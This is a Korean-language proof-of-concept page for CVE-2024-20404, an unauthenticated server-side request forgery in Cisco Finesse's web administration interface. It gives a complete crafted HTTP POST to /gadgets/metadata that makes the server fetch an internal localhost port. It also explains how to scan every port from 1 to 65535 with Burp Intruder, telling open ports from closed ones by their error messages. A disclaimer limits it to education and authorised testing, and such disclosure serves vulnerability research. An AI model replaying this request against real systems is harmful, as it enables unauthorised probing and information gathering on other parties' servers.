설명

Cisco Finesse의 웹 기반 관리 인터페이스에서 취약점으로 인해 인증되지 않은 원격 공격자가 영향을 받는 시스템에 대해 SSRF 공격을 수행할 수 있습니다.

이 취약점은 영향을 받는 시스템으로 전송되는 특정 HTTP 요청에 대해 사용자 제공 입력에 대한 검증이 불충분하기 때문에 발생합니다. 공격자는 조작된 HTTP 요청을 영향을 받는 장치에 전송하여 이 취약점을 악용할 수 있습니다. 성공적인 악용을 통해 공격자는 영향을 받는 장치와 연결된 서비스에 대한 제한된 민감 정보를 획득할 수 있습니다.

개념 증명 (PoC)

아래 요청을 보내어 자신의 <target>을 교체한 후 서버의 로컬호스트 포트 번호 '8444'에서 응답을 확인합니다.

POST /gadgets/metadata HTTP/2
Host: <target>:8445
Cookie: timeBeforeFailover=1695808242310; timeBeforeAttemptingLoginInIframe=1695808244317; attemptsMade=1; seqNumberGenerated=1; finesse_ag_extension=<extension>; activeDeviceId4000=SEPD4AD717A03F6; timeBeforeLoadingOtherSide=1695808249678
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<target>:8445/desktop/container;jsessionid=90aE172355707490406528141464742B/?locale=en_US
Content-Type: application/json
Content-Length: 127
Origin: https://<target>:8445
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://127.0.0.1:8444"}]}

Burp Suite의 Intruder를 사용하여 포트 번호를 1~65535 범위로 변경하면서 Cisco Finesse 웹 기반 관리 서버의 모든 열린 포트를 스캔합니다.
닫힌 포트에서는 'Connection refused' 응답이 표시됩니다.

다른 오류 메시지는 해당 포트가 열려 있음을 나타내며, 이를 열거할 수 있습니다.

참고 자료

면책 조항

이는 Cisco Finesse 웹 기반 관리 인터페이스가 SSRF(Server Side Request Forgery)에 취약함을 입증하기 위한 개념 증명(PoC)일 뿐이며, 이 PoC는 교육 목적으로만 사용됩니다. 책임감 있게 사용하고 테스트할 명시적 허가가 있는 시스템에서만 사용하십시오. 이 PoC의 오용은 심각한 결과를 초래할 수 있습니다.

CVE-2024-20404

인기

설명

개념 증명 (PoC)

참고 자료

면책 조항